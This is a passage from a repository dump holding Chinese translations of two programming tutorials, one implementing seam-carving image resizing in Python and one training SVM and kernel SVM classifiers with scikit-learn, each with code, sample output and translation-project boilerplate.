Cartland](https://medium.com/@cartland_88360?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/implementing-seam-carving-with-python.md",
    "content": "> * 原文地址：[Implementing Seam Carving with Python](https://karthikkaranth.me/blog/implementing-seam-carving-with-python?utm_source=mybridge&utm_medium=blog&utm_campaign=read_more)\n> * 原文作者：[Karthik Karanth](https://karthikkaranth.me)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/implementing-seam-carving-with-python.md](https://github.com/xitu/gold-miner/blob/master/TODO1/implementing-seam-carving-with-python.md)\n> * 译者：[caoyi0905](https://github.com/caoyi0905)\n> * 校对者：[yqian1991](https://github.com/yqian1991)\n\n# 使用 Python 实现接缝裁剪算法\n\n接缝裁剪是一种新型的裁剪图像的方式，它不会丢失图像中的重要内容。这通常被称之为“内容感知”裁剪或图像重定向。你可以从这张照片中感受一下这个算法：\n\n![](https://karthikkaranth.me/img/pietro-de-grandi-329892-unsplash.jpg)\n\n[照片由 Unsplash 用户 Pietro De Grandi 提供](https://unsplash.com/photos/T7K4aEPoGGk)\n\n变成下面这张：\n\n![](https://karthikkaranth.me/img/pietro_carved.jpg)\n\n正如你所看到的，图像中的非常重要内容 —— 船只，都保留下来了。该算法去除了一些岩层和水（让船看起来更靠近）。核心算法可以参考 Shai Avidan 和 Ariel Shamir 的原始论文 [Seam Carving for Content-Aware Image Resizing](http://graphics.cs.cmu.edu/courses/15-463/2007_fall/hw/proj2/imret.pdf)。在这篇文章中，我将展示如何在 Python 中基本实现该算法。\n\n## 概要\n\n该算法的工作原理如下：\n\n1.  为每个像素分派一个能量值（energy）\n2.  找到能量最低的像素的 8 联通区域\n3.  删除该区域内所有的像素\n4.  重复 1-3，直到删除所需要保留的行/列数\n\n接下来，假设我们只是尝试裁剪图像的宽度，即删除列。对于删除行来说也是类似的，至于原因最后会说明。\n\n以下是 Python 代码需要引入的包：\n\n```\nimport sys\n\nimport numpy as np\nfrom imageio import imread, imwrite\nfrom scipy.ndimage.filters import convolve\n\n# tqdm 并不是必需的，但它可以向我们展示一个漂亮的进度条\nfrom tqdm import trange\n```\n\n### 能量图\n\n第一步是计算每个像素的能量值，论文中定义了许多不同的可以使用的能量函数。我们来使用最基础的那个：\n\n![](https://karthikkaranth.me/img/energy_function.png)\n\n这意味着什么呢？`I` 代表图像，所以这个式子告诉我们，对于图像中的每个像素和每个通道，我们执行以下几个步骤：\n\n*   找到 x 轴的偏导数\n*   找到 y 轴的偏导数\n*   将他们的绝对值求和\n\n这就是该像素的能量值。那么问题就来了，“你怎么计算图像的导数？”，维基百科上的 [Image derivations（图像导数）](https://en.wikipedia.org/wiki/Image_derivatives)给我们展示了许多不同的计算图像导数的方法。我们将使用 Sobel 滤波器。这是一个在图像上的每个通道上的计算的[convolutional kernel（卷积核）](http://aishack.in/tutorials/image-convolution-examples/)。以下是图像的两个不同方向的过滤器：\n\n![](https://karthikkaranth.me/img/sobel.png)\n\n直观地说，我们可以认为第一个滤波器是将每个像素替换为它上边的值和下边的值之差。第二个过滤器将每个像素替换为它右边的值和左边的值之差。这种滤波器捕捉到的是每个像素相邻所构成的 3x3 区域中像素的总体趋势。事实上，这种方法与边缘检测算法也有关系。计算能量图的方式非常简单：\n\n```\ndef calc_energy(img):\n    filter_du = np.array([\n        [1.0, 2.0, 1.0],\n        [0.0, 0.0, 0.0],\n        [-1.0, -2.0, -1.0],\n    ])\n    # 将一个 2D 的滤波器转为 3D 的滤波器，为每个通道设置相同的滤波器：R，G，B\n    filter_du = np.stack([filter_du] * 3, axis=2)\n\n    filter_dv = np.array([\n        [1.0, 0.0, -1.0],\n        [2.0, 0.0, -2.0],\n        [1.0, 0.0, -1.0],\n    ])\n    # 将一个 2D 的滤波器转为 3D 的滤波器，为每个通道设置相同的滤波器：R，G，B\n    filter_dv = np.stack([filter_dv] * 3, axis=2)\n\n    img = img.astype('float32')\n    convolved = np.absolute(convolve(img, filter_du)) + np.absolute(convolve(img, filter_dv))\n\n    # 我们将红绿色蓝三通道中的能量相加\n    energy_map = convolved.sum(axis=2)\n\n    return energy_map\n```\n\n可视化能量图后，我们可以看到：\n\n![](https://karthikkaranth.me/img/pietro_energy.jpg)\n\n显然，像天空和水的静止部分这样变化最小的区域，具有非常低的能量（暗的部分）。当我们运行接缝裁剪算法的时候，被移除的线条一般都与图像的这些部分紧密相关，同时试图保留高能量部分（亮的部分）。\n\n###　找到最小能量的接缝（seam）\n\n我们下一个目标就是找到一条从图像顶部到图像底部的能量最小的路径。这条线必须是 8 联通的：这意味着线中的每个像素都可以他通过边或叫角碰到线中的下一个像素。举个例子，这就是下图中的红色线条：\n\n![](https://karthikkaranth.me/img/pietro_first_seam.jpg)\n\n所以我们怎么找到这条线呢？事实证明，这个问题可以很好地使用动态规划来解决！\n\n![](https://karthikkaranth.me/img/minimize_energy.png)\n\n让我们创建一个名为 `M` 的 2D 数组 来存储每个像素的最小能量值。如果您不熟悉动态规划，这简单来说就是，从图像顶部到该点的所有可能接缝（seam）中的最小能量即为 `M[i,j]`。因此，M 的最后一行中就将包含从图像顶部到底部的最小能量。我们需要从此回溯以查找此接缝中存在的像素，所以我们将保留这些值，存储在名为`backtrack` 的 2D 数组中。\n\n```\ndef minimum_seam(img):\n    r, c, _ = img.shape\n    energy_map = calc_energy(img)\n\n    M = energy_map.copy()\n    backtrack = np.zeros_like(M, dtype=np.int)\n\n    for i in range(1, r):\n        for j in range(0, c):\n            # 处理图像的左边缘，防止索引到 -1\n            if j == 0:\n                idx = np.argmin(M[i - 1, j:j + 2])\n                backtrack[i, j] = idx + j\n                min_energy = M[i - 1, idx + j]\n            else:\n                idx = np.argmin(M[i - 1, j - 1:j + 2])\n                backtrack[i, j] = idx + j - 1\n                min_energy = M[i - 1, idx + j - 1]\n\n            M[i, j] += min_energy\n\n    return M, backtrack\n```\n\n### 删除最小能量的接缝中的像素\n\n然后我们就可以删除有着最低能量的接缝中的像素，返回新的图片：\n\n```\ndef carve_column(img):\n    r, c, _ = img.shape\n\n    M, backtrack = minimum_seam(img)\n\n    # 创建一个（r，c）矩阵，所有值都为 True\n    # 我们将删除图像中矩阵里所有为 False 的对应的像素\n    mask = np.ones((r, c), dtype=np.bool)\n\n    # 找到 M 最后一行中最小元素的那一列的索引\n    j = np.argmin(M[-1])\n\n    for i in reversed(range(r)):\n        # 标记这个像素之后需要删除\n        mask[i, j] = False\n        j = backtrack[i, j]\n\n    # 因为图像是三通道的，我们将 mask 转为 3D 的\n    mask = np.stack([mask] * 3, axis=2)\n\n    # 删除 mask 中所有为 False 的位置所对应的像素，并将\n    # 他们重新调整为新图像的尺寸\n    img = img[mask].reshape((r, c - 1, 3))\n\n    return img\n```\n\n### 对每列重复操作\n\n所有的基础工作都已做完了！现在，我们只要一次次地运行 `carve_column ` 函数，直到我们删除到了所需的列数。我们再创建一个 `crop_c` 函数，图像和缩放因子作为输入。如果图像的尺寸为（300,600），并且我们想要将其减小到（150,600），`scale_c` 设置为 0.5 即可。\n\n```\ndef crop_c(img, scale_c):\n    r, c, _ = img.shape\n    new_c = int(scale_c * c)\n\n    for i in trange(c - new_c): # 如果你不想用 tqdm，这里将 trange 改为 range\n        img = carve_column(img)\n\n    return img\n```\n\n## 将它们合在一起\n\n我们可以添加一个 main 函数，让代码可以通过命令行调用：\n\n```\ndef main():\n    scale = float(sys.argv[1])\n    in_filename = sys.argv[2]\n    out_filename = sys.argv[3]\n\n    img = imread(in_filename)\n    out = crop_c(img, scale)\n    imwrite(out_filename, out)\n\nif __name__ == '__main__':\n    main()\n```\n\n然后运行这段代码：\n\n```\npython carver.py 0.5 image.jpg cropped.jpg\n```\n\ncropped.jpg 现在应该显示以下这样的图像:\n\n![]https://karthikkaranth.me/img/pietro_carved.jpg)\n\n## 行应该怎么处理呢？\n\n然后，我们可以开始研究怎么修改我们的循环来换个方向处理数据。或者...只需旋转图像就可以运行 `crop_c`！\n\n```\ndef crop_r(img, scale_r):\n    img = np.rot90(img, 1, (0, 1))\n    img = crop_c(img, scale_r)\n    img = np.rot90(img, 3, (0, 1))\n    return img\n```\n\n将这段代码添加到 main 函数中，现在我们也可以裁剪行！\n\n```\ndef main():\n    if len(sys.argv) != 5:\n        print('usage: carver.py <r/c> <scale> <image_in> <image_out>', file=sys.stderr)\n        sys.exit(1)\n\n    which_axis = sys.argv[1]\n    scale = float(sys.argv[2])\n    in_filename = sys.argv[3]\n    out_filename = sys.argv[4]\n\n    img = imread(in_filename)\n\n    if which_axis == 'r':\n        out = crop_r(img, scale)\n    elif which_axis == 'c':\n        out = crop_c(img, scale)\n    else:\n        print('usage: carver.py <r/c> <scale> <image_in> <image_out>', file=sys.stderr)\n        sys.exit(1)\n    \n    imwrite(out_filename, out)\n```\n\n运行代码：\n\n```\npython carver.py r 0.5 image2.jpg cropped.jpg\n```\n\n然后我们就可以把这张图：\n\n![](https://karthikkaranth.me/img/brent-cox-455716-unsplash.jpg)\n\n[Photo by Brent Cox on Unsplash](https://unsplash.com/photos/ydGRmobx5jA)\n\n变成这样：\n\n![](https://karthikkaranth.me/img/brent_carved.jpg)\n\n## 总结\n\n我希望你是愉快而又收获地读到这里的。我很享受实现这篇论文的过程，并打算构建一个这个算法更快的版本。比如说，使用相同的计算过的图像接缝去除多个接缝。在我的实验中，这可以使算法更快，每次迭代可以几乎线性地移除接缝，但质量明显下降。另一个优化是计算 GPU 上的能量图，[在这里探讨的](http://www.contrib.andrew.cmu.edu/~abist/seamcarving.html)。\n\n这是完整的程序：\n\n```\n#!/usr/bin/env python\n\n\"\"\"\nUsage: python carver.py <r/c> <scale> <image_in> <image_out>\nCopyright 2018 Karthik Karanth, MIT License\n\"\"\"\n\nimport sys\n\nfrom tqdm import trange\nimport numpy as np\nfrom imageio import imread, imwrite\nfrom scipy.ndimage.filters import convolve\n\ndef calc_energy(img):\n    filter_du = np.array([\n        [1.0, 2.0, 1.0],\n        [0.0, 0.0, 0.0],\n        [-1.0, -2.0, -1.0],\n    ])\n    # 将一个 2D 的滤波器转为 3D 的滤波器，为每个通道设置相同的滤波器：R，G，B\n    filter_du = np.stack([filter_du] * 3, axis=2)\n\n    filter_dv = np.array([\n        [1.0, 0.0, -1.0],\n        [2.0, 0.0, -2.0],\n        [1.0, 0.0, -1.0],\n    ])\n    # 将一个 2D 的滤波器转为 3D 的滤波器，为每个通道设置相同的滤波器：R，G，B\n    filter_dv = np.stack([filter_dv] * 3, axis=2)\n\n    img = img.astype('float32')\n    convolved = np.absolute(convolve(img, filter_du)) + np.absolute(convolve(img, filter_dv))\n\n    # 我们将红绿色蓝三通道中的能量相加\n    energy_map = convolved.sum(axis=2)\n\n    return energy_map\n\ndef crop_c(img, scale_c):\n    r, c, _ = img.shape\n    new_c = int(scale_c * c)\n\n    for i in trange(c - new_c):\n        img = carve_column(img)\n\n    return img\n\ndef crop_r(img, scale_r):\n    img = np.rot90(img, 1, (0, 1))\n    img = crop_c(img, scale_r)\n    img = np.rot90(img, 3, (0, 1))\n    return img\n\ndef carve_column(img):\n    r, c, _ = img.shape\n\n    M, backtrack = minimum_seam(img)\n    mask = np.ones((r, c), dtype=np.bool)\n\n    j = np.argmin(M[-1])\n    for i in reversed(range(r)):\n        mask[i, j] = False\n        j = backtrack[i, j]\n\n    mask = np.stack([mask] * 3, axis=2)\n    img = img[mask].reshape((r, c - 1, 3))\n    return img\n\ndef minimum_seam(img):\n    r, c, _ = img.shape\n    energy_map = calc_energy(img)\n\n    M = energy_map.copy()\n    backtrack = np.zeros_like(M, dtype=np.int)\n\n    for i in range(1, r):\n        for j in range(0, c):\n            # 处理图像的左边缘，防止索引到 -1\n            if j == 0:\n                idx = np.argmin(M[i-1, j:j + 2])\n                backtrack[i, j] = idx + j\n                min_energy = M[i-1, idx + j]\n            else:\n                idx = np.argmin(M[i - 1, j - 1:j + 2])\n                backtrack[i, j] = idx + j - 1\n                min_energy = M[i - 1, idx + j - 1]\n\n            M[i, j] += min_energy\n\n    return M, backtrack\n\ndef main():\n    if len(sys.argv) != 5:\n        print('usage: carver.py <r/c> <scale> <image_in> <image_out>', file=sys.stderr)\n        sys.exit(1)\n\n    which_axis = sys.argv[1]\n    scale = float(sys.argv[2])\n    in_filename = sys.argv[3]\n    out_filename = sys.argv[4]\n\n    img = imread(in_filename)\n\n    if which_axis == 'r':\n        out = crop_r(img, scale)\n    elif which_axis == 'c':\n        out = crop_c(img, scale)\n    else:\n        print('usage: carver.py <r/c> <scale> <image_in> <image_out>', file=sys.stderr)\n        sys.exit(1)\n    \n    imwrite(out_filename, out)\n\nif __name__ == '__main__':\n    main()\n```\n\n* * *\n\n**修改于（2018 年 5 月 5 日）：** 正如一个[热心的 reddit 用户](https://www.reddit.com/r/Python/comments/8mpjw4/implementing_seam_carving_with_python/dzpouv4/)所说，通过使用 [numba](https://numba.pydata.org/) 来加速计算繁重的功能，可以很容易的得到几十倍的性能提升。要想体验 numba，只要在函数 `carve_column` 和 `minimum_seam` 之前加上 `@numba.jit`。就像下面这样：\n\n```\n@numba.jit\ndef carve_column(img):\n\n@numba.jit\ndef minimum_seam(img):\n```\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/implementing-svm-and-kernel-svm-with-pythons-scikit-learn.md",
    "content": "> * 原文地址：[Implementing SVM and Kernel SVM with Python's Scikit-Learn](https://stackabuse.com/implementing-svm-and-kernel-svm-with-pythons-scikit-learn/)\n> * 原文作者：[Usman Malik](https://twitter.com/usman_malikk)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/implementing-svm-and-kernel-svm-with-pythons-scikit-learn.md](https://github.com/xitu/gold-miner/blob/master/TODO1/implementing-svm-and-kernel-svm-with-pythons-scikit-learn.md)\n> * 译者：[rockyzhengwu](https://github.com/rockyzhengwu)\n> * 校对者：[zhusimaji](https://github.com/zhusimaji), [TrWestdoor](https://github.com/TrWestdoor)\n\n# 用 Scikit-Learn 实现 SVM 和 Kernel SVM\n\n[支持向量机](https://en.wikipedia.org/wiki/Support_vector_machine)（SVM）是一种监督学习分类算法。支持向量机提出于 20 世纪 60 年代在 90 年代得到了进一步的发展。然而，由于能取得很好的效果，最近才开始变得特别受欢迎。与其他机器学习算法相比，SVM 有其独特之处。\n\n本文先简明地介绍支持向量机背后的理论和如何使用 Python 中的 Scikit-Learn 库来实现。然后我们将学习高级 SVM 理论如 Kernel SVM，同样会使用 Scikit-Learn 来实践。\n\n### 简单 SVM\n\n考虑二维线性可分数据，如图 1，典型的机器学习算法希望找到使得分类错误最小的分类边界。如果你仔细看图 1，会发现能把数据点正确分类的边界不唯一。两条虚线和一条实线都能正确分类所有点。\n\n![Multiple Decision Boundaries](https://s3.amazonaws.com/stackabuse/media/implementing-svm-kernel-svm-python-scikit-learn-1.jpg)\n\n**图 1：多决策边界**\n\nSVM 通过最大化所有类中的数据点到[决策边界](https://en.wikipedia.org/wiki/Decision_boundary)的最小距离的方法来确定边界，这是 SVM 和其他算法的主要区别。SVM 不只是找一个决策边界；它能找到最优决策边界。\n\n能使所有类到决策边界的最小距离最大的边界是最优决策边界。如图 2 所示，那些离决策边界最近的点被称作支持向量。在支持向量机中决策边界被称作最大间隔分类器，或者最大间隔超平面。\n\n![Decision Boundary with Support Vectors](https://s3.amazonaws.com/stackabuse/media/implementing-svm-kernel-svm-python-scikit-learn-2.jpg)\n\n**图 2：决策边界的支持向量**\n\n寻找支持向量、计算决策边界和支持向量之间的距离和最大化该距离涉及到很复杂的数学知识。本教程不打算深入到数学的细节，我们只会看到如何使用 Python 的 Scikit-Learn 库来实现 SVM 和 Kernel-SVM。\n\n### 通过 Scikit-Learn 实现 SVM\n\n我们将使用和[决策树教程](https://stackabuse.com/decision-trees-in-python-with-scikit-learn/)一样的数据。\n\n我们的任务是通过四个属性来判断纸币是不是真的，四个属性是小波变换图像的偏度、图像的方差、图像的熵和图像的曲率。我们将使用 SVM 解决这个二分类问题。剩下部分是标准的机器学习流程。\n\n#### 导入库\n\n下面的代码导入所有需要的库：\n\n```\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n%matplotlib inline\n```\n\n#### 导入数据\n\n数据可以从下面的链接下载：\n\n[https://drive.google.com/file/d/13nw-uRXPY8XIZQxKRNZ3yYlho-CYm_Qt/view](https://drive.google.com/file/d/13nw-uRXPY8XIZQxKRNZ3yYlho-CYm_Qt/view)\n\n数据的详细信息可以参考下面的链接：\n\n[https://archive.ics.uci.edu/ml/datasets/banknote+authentication](https://archive.ics.uci.edu/ml/datasets/banknote+authentication)\n\n从 Google drive 链接下载数据并保存在你本地。这个例子中数据集保存在我 Windows 电脑的 D 盘 “Datasets” 文件夹下的 CSV 文件里。下面的代码从文件路径中读取数据。你可以根据文件在你自己电脑上的路径修改。\n\n读取 CSV 文件的最简单方法是使用 pandas 库中的 `read_csv` 方法。下面的代码读取银行纸币数据记录到 pandas 的  dataframe:\n\n```\nbankdata = pd.read_csv(\"D:/Datasets/bill_authentication.csv\")\n```\n\n#### 探索性数据分析\n\n使用 Python 中各种各样的库几乎可以完成所有的数据分析。为了简单起见，我们只检查数据的维数并查看最前面的几条记录。查看数据的行数和列数，执行下面的语句：\n\n```\nbankdata.shape\n```\n\n你将看到输出为（1372, 5）。这意味着数据集有 1372 行和 5 列。\n\n为了对数据长什么样有个直观感受，可以执行下面的命令：\n\n```\nbankdata.head()\n```\n\n输出下面如下:\n\n![](https://i.loli.net/2018/08/15/5b73e22032c4a.jpg)\n\n你可以发现所有的属性都是数值型。类别标签也是数值型即 0 和 1。\n\n#### 数据预处理\n\n数据预处理包括（1）把属性和类表标签分开和（2）划分训练数据集和测试数据集。\n\n把属性和类别标签分开，执行下面的代码：\n\n```\nX = bankdata.drop('Class', axis=1)\ny = bankdata['Class']\n```\n\n上面代码第一行从 `bankdata` dataframe 中移除了类别标签列 “Class” 并把结果赋值给变量 `X`。函数 `drop()` 删除指定列。\n\n第二行，只将类别列存储在变量 `y` 里。现在变量 `X` 包含所有的属性变量 `y` 包含对应的类别标签。\n\n现在数据集已经将属性和类别标签分开，最后一步预处理是划分出训练集和测试集。幸运的是 Scikit-Learn 中 `model_selection` 模块提供了函数 `train_test_split` 允许我们优雅地把数据分成训练和测试两部分。\n\n执行下面的代码完成划分：\n\n```\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20)\n```\n\n#### 算法训练\n\n我们已经把数据分成了训练集和测试集。现在我们使用训练集来训练。Scikit-Learn 库中的 `svm` 模块实现了各种不同的 SVM 算法。由于我们要完成一个分类任务，我们将使用由 Scikit-Learn 中 `svm` 模块下的 `SVC` 类实现的支持向量分类器。这个类需要一个参数指定核函数的类型。这参数很重要。这里考虑最简单的 SVM 把类型参数设为 `linear` 线性支持向量机只适用于线性可分数据。我们在下一部分介绍非线性核。\n\n把训练数据传给 SVC 类 `fit` 方法来训练算法。执行下面的代码完成算法训练：\n\n```\nfrom sklearn.svm import SVC\nsvclassifier = SVC(kernel='linear')\nsvclassifier.fit(X_train, y_train)\n```\n\n#### 做预测\n\n`SVC` 类的 `predict` 方法可以用来预测新的数据的类别。代码如下：\n\n```\ny_pred = svclassifier.predict(X_test)\n```\n\n#### 算法评价\n\n混淆矩阵、精度、召回率和 F1 是分类任务最常用的一些评价指标。Scikit-Learn 的 `metrics` 模块中提供了 `classification_report` 和`confusion_matrix` 等方法，这些方法可以快速的计算这些评价指标。\n\n下面是计算评价指标的代码：\n\n```\nfrom sklearn.metrics import classification_report, confusion_matrix\nprint(confusion_matrix(y_test,y_pred))\nprint(classification_report(y_test,y_pred))\n```\n\n#### 结果\n\n下面是评价结果：\n\n```\n[[152    0]\n [  1  122]]\n              precision   recall   f1-score   support\n\n           0       0.99     1.00       1.00       152\n           1       1.00     0.99       1.00       123\n\navg / total        1.00     1.00       1.00       275\n```\n\n从上面的评价结果中我们可以发现 SVM 比决策树稍微的要好。SVM 只有 1% 的错分类而决策树有 4%。\n\n### Kernel SVM\n\n在上面的章节我们看到了如何使用简单 SVM 算法在线性可分数据上找到决策边界。然而，当数据不是线性可分的时候如图 3，直线就不能再作为决策边界了。\n\n![Non-linearly Separable Data](https://s3.amazonaws.com/stackabuse/media/implementing-svm-kernel-svm-python-scikit-learn-3.jpg)\n\nFig 3: 非线性可分数据\n\n对非线性可分的数据集，简单的 SVM 算法就不再适用。一种改进的 SVM 叫做 Kernel SVM 可以用来解决非线性可分数据的分类问题。\n\n从根本上说，kernel SVM 把在低维空间中线性不可分数据映射成在高维空间中线性可分的数据, 这样不同类别的数据点就分布在了不同的维度上。同样，这里涉及到复杂的数学，但是如果你只是使用 SVM 完全不用担心。我们可以很简单的使用 Python 的 Scikit-Learn 库来实现和使用 kernel SVM。\n\n### 使用 Scikit-Learn 实现 Kernel SVM\n\n和实现简单的 SVM 一样。在这部分我们使用有名的[鸢尾花数据集](https://en.wikipedia.org/wiki/Iris_flower_data_set)，依照植物下面的四个属性去预测它属于哪个分类：萼片宽度，萼片长度，花瓣宽度和花瓣长度。\n\n数据可以从下面的链接下：\n\n[https://archive.ics.uci.edu/ml/datasets/iris4](https://archive.ics.uci.edu/ml/datasets/iris4)\n\n剩下的步骤就是典型的机器学习步骤在训练 Kernel SVM 之前我们需要一些简单说明。\n\n#### 导入库\n\n```\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n```\n\n#### 导入数据\n\n```\nurl = \"https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data\"\n\n# Assign colum names to the dataset\ncolnames = ['sepal-length', 'sepal-width', 'petal-length', 'petal-width', 'Class']\n\n# Read dataset to pandas dataframe\nirisdata = pd.read_csv(url, names=colnames)\n```\n\n#### 预处理\n\n```\nX = irisdata.drop('Class', axis=1)\ny = irisdata['Class']\n```\n\n#### 训练和测试集划分\n\n```\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20)\n```\n\n#### 算法训练\n\n同样使用 Scikit-Learn 的 `svm` 模块中的 `SVC` 类。区别在于类 `SVC` 的核函数类型参数的值不一样。在简单 SVM 中我们使用的核函数类型是 “linear”。然而，kernel SVM 你可以使用 高斯、多项式、sigmoid或者其他可计算的核。我们将实现多项式、高斯和 sigmoid 核并检验哪一个表现更好。\n\n#### 1. 多项式核\n\n在[多项式核](https://en.wikipedia.org/wiki/Polynomial_kernel)的情况下，你开需要传递一个叫`degree` 的参数给`SVC` 类。这个参数是多项式的次数。看下面的代码如何实现多项式核实现 kernel SVM：\n\n```\nfrom sklearn.svm import SVC\nsvclassifier = SVC(kernel='poly', degree=8)\nsvclassifier.fit(X_train, y_train)\n```\n\n#### 做预测\n\n现在我们已经训练好了算法，下一步是在测试集上做预测。\n\n运行下面的代码来实现：\n\n```\ny_pred = svclassifier.predict(X_test)\n```\n\n####  算法评价\n\n通常机器学习算法的最后一步是评价多项式核。运行下面的代码。\n\n```\nfrom sklearn.metrics import classification_report, confusion_matrix\nprint(confusion_matrix(y_test, y_pred))\nprint(classification_report(y_test, y_pred))\n```\n\n使用多项式核的 kernel SVM 的输出如下：\n\n```\n[[11  0  0]\n [ 0 12  1]\n [ 0  0  6]]\n                 precision   recall   f1-score   support\n\n    Iris-setosa       1.00     1.00       1.00        11\nIris-versicolor       1.00     0.92       0.96        13  \n Iris-virginica       0.86     1.00       0.92         6\n\n    avg / total       0.97     0.97       0.97        30\n```\n\n现在让我们使用高斯和 sigmoid 核来重复上面的步骤。\n\n#### 2. 高斯核\n\n看一眼我们是如何使用高斯核实现 kernel SVM 的：\n\n```\nfrom sklearn.svm import SVC\nsvclassifier = SVC(kernel='rbf')\nsvclassifier.fit(X_train, y_train)\n```\n\n使用高斯核，你必须指定类 SVC 的核参数额值为 “rbf”。\n\n#### 预测和评价\n\n```\ny_pred = svclassifier.predict(X_test)\n```\n\n```\nfrom sklearn.metrics import classification_report, confusion_matrix\nprint(confusion_matrix(y_test, y_pred))\nprint(classification_report(y_test, y_pred))\n```\n\n使用高斯核的输出：\n\n```\n[[11  0  0]\n [ 0 13  0]\n [ 0  0  6]]\n                 precision   recall   f1-score   support\n\n    Iris-setosa       1.00     1.00       1.00        11\nIris-versicolor       1.00     1.00       1.00        13  \n Iris-virginica       1.00     1.00       1.00         6\n\n    avg / total       1.00     1.00       1.00        30\n```\n\n#### 3. Sigmoid 核\n\n最后，让我们使用 sigmoid 核实现 Kernel SVM。看下面的代码：\n\n```\nfrom sklearn.svm import SVC\nsvclassifier = SVC(kernel='sigmoid')\nsvclassifier.fit(X_train, y_train)\n```\n\n使用 sigmoid 核需要指定 `SVC` 类的参数 `kernel` 的值为 “sigmoid”。\n\n#### 预测和评价\n\n```\ny_pred = svclassifier.predict(X_test)\n```\n\n```\nfrom sklearn.metrics import classification_report, confusion_matrix\nprint(confusion_matrix(y_test, y_pred))\nprint(classification_report(y_test, y_pred))\n```\n\n使用 Sigmoid 核的输出如下：\n\n```\n[[ 0  0 11]\n [ 0  0 13]\n [ 0  0  6]]\n                 precision   recall   f1-score   support\n\n    Iris-setosa       0.00     0.00       0.00        11\nIris-versicolor       0.00     0.00       0.00        13  \n Iris-virginica       0.20     1.00       0.33         6\n\n    avg / total       0.04     0.20       0.07        30\n```\n\n#### 对比核的表现\n\n对比发现 sigmoid 核是最差的。因为 sigmoid 返回 0 和 1 两个值，sigmoid 核更适合二分类问题。而我们的例子中有三个类别。\n\n高斯核与多项式核有差不多的表现。高斯核预测准确率 100% 多项式核也只有 1% 的误差。高斯核表现稍好。然而没有硬性的规则来评价哪种核函数在任何场景下都更好。只能通过在测试集上的测试结果来选择哪一个核在你的数据集上表现更好。\n\n### 资源\n\n是否想学习更多的 Scikit-Learn 和的机器学习算法相关知识？我推荐你查看更多的资料，如在线课程：\n\n*   [Python for Data Science and Machine Learning Bootcamp](http://stackabu.se/python-data-science-machine-learning-bootcamp)\n*   [Machine Learning A-Z: Hands-On Python & R In Data Science](http://stackabu.se/machine-learning-hands-on-python-data-science)\n*   [Data Science in Python, Pandas, Scikit-learn, Numpy, Matplotlib](http://stackabu.se/data-science-python-pandas-sklearn-numpy)\n\n### 总结\n\n本文我们学习了基本的 SVM 和 kernel SVMs。还了解了 SVM 算法背后的直觉以及如何使用 Python 库 Scikit-Learn 来实现。我们也学习了使用不同类型的核来实现 SVM。我猜你已经想把这些算法应用到真实的数据上了比如 [kaggle.com](https://www.kaggle.com)。\n\n最后我还是建议你去详细了解下 SVM 背后的数学。虽然如果只使用 SVM 算法并不需要了解那些数学，但要理解算法是如何找到决策边界的数学会很有帮助。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 